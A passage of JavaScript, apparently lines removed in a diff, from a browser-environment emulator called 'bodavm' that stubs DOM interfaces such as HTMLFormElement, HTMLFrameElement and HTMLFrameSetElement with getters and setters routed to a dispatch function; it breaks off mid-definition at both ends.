bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "getSVGDocument", arguments)}},'prototype'); - -// HTMLFieldSetElement对象 -bodavm.memory.globalobj['HTMLFieldSetElement'] = function HTMLFieldSetElement(){if (!(this instanceof HTMLFieldSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFieldSetElement'], "HTMLFieldSetElement"); -bodavm.memory.globalobj['HTMLFieldSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFieldSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "elements_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFieldSetElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFieldSetElement'].prototype, "HTMLFieldSetElement", "setCustomValidity", arguments)}},'prototype'); - -// HTMLFontElement对象 -bodavm.memory.globalobj['HTMLFontElement'] = function HTMLFontElement(){if (!(this instanceof HTMLFontElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFontElement'], "HTMLFontElement"); -bodavm.memory.globalobj['HTMLFontElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFontElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFontElement', "color", {configurable:true, enumerable:true, get:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_get", arguments)}, set:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "color_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFontElement', "face", {configurable:true, enumerable:true, get:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_get", arguments)}, set:function face (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "face_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFontElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_set", arguments)}},'prototype'); - -// HTMLFormControlsCollection对象 -bodavm.memory.globalobj['HTMLFormControlsCollection'] = function HTMLFormControlsCollection(){if (!(this instanceof HTMLFormControlsCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormControlsCollection'], "HTMLFormControlsCollection"); -bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype.__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype; -bodavm.memory.globalobj['HTMLFormControlsCollection'].__proto__=bodavm.memory.globalobj['HTMLCollection']; -bodavm.toolsFunc.defineProperty('HTMLFormControlsCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype, "HTMLFormControlsCollection", "namedItem", arguments)}},'prototype'); - -// HTMLFormElement对象 -bodavm.memory.globalobj['HTMLFormElement'] = function HTMLFormElement(){if (!(this instanceof HTMLFormElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormElement'], "HTMLFormElement"); -bodavm.memory.globalobj['HTMLFormElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFormElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFormElement', "acceptCharset", {configurable:true, enumerable:true, get:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_get", arguments)}, set:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "action", {configurable:true, enumerable:true, get:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_get", arguments)}, set:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "enctype", {configurable:true, enumerable:true, get:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_get", arguments)}, set:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_get", arguments)}, set:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_get", arguments)}, set:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "noValidate", {configurable:true, enumerable:true, get:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_get", arguments)}, set:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "elements_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "requestSubmit", {configurable:true, enumerable:true, writable:true, value:function requestSubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "requestSubmit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "submit", {configurable:true, enumerable:true, writable:true, value:function submit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "submit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_set", arguments)}},'prototype'); - -// HTMLFrameElement对象 -bodavm.memory.globalobj['HTMLFrameElement'] = function HTMLFrameElement(){if (!(this instanceof HTMLFrameElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameElement'], "HTMLFrameElement"); -bodavm.memory.globalobj['HTMLFrameElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFrameElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "scrolling", {configurable:true, enumerable:true, get:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_get", arguments)}, set:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "frameBorder", {configurable:true, enumerable:true, get:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_get", arguments)}, set:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "noResize", {configurable:true, enumerable:true, get:function noResize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_get", arguments)}, set:function noResize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginHeight", {configurable:true, enumerable:true, get:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_get", arguments)}, set:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginWidth", {configurable:true, enumerable:true, get:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_get", arguments)}, set:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_set", arguments)}},'prototype'); - -// HTMLFrameSetElement对象 -bodavm.memory.globalobj['HTMLFrameSetElement'] = function HTMLFrameSetElement(){if (!(this instanceof HTMLFrameSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameSetElement'], "HTMLFrameSetElement"); -bodavm.memory.globalobj['HTMLFrameSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFrameSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "cols", {configurable:true, enumerable:true, get:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_get", arguments)}, set:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_get", arguments)}, set:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpopstate", {configurable:true, enumerable:true, get:function 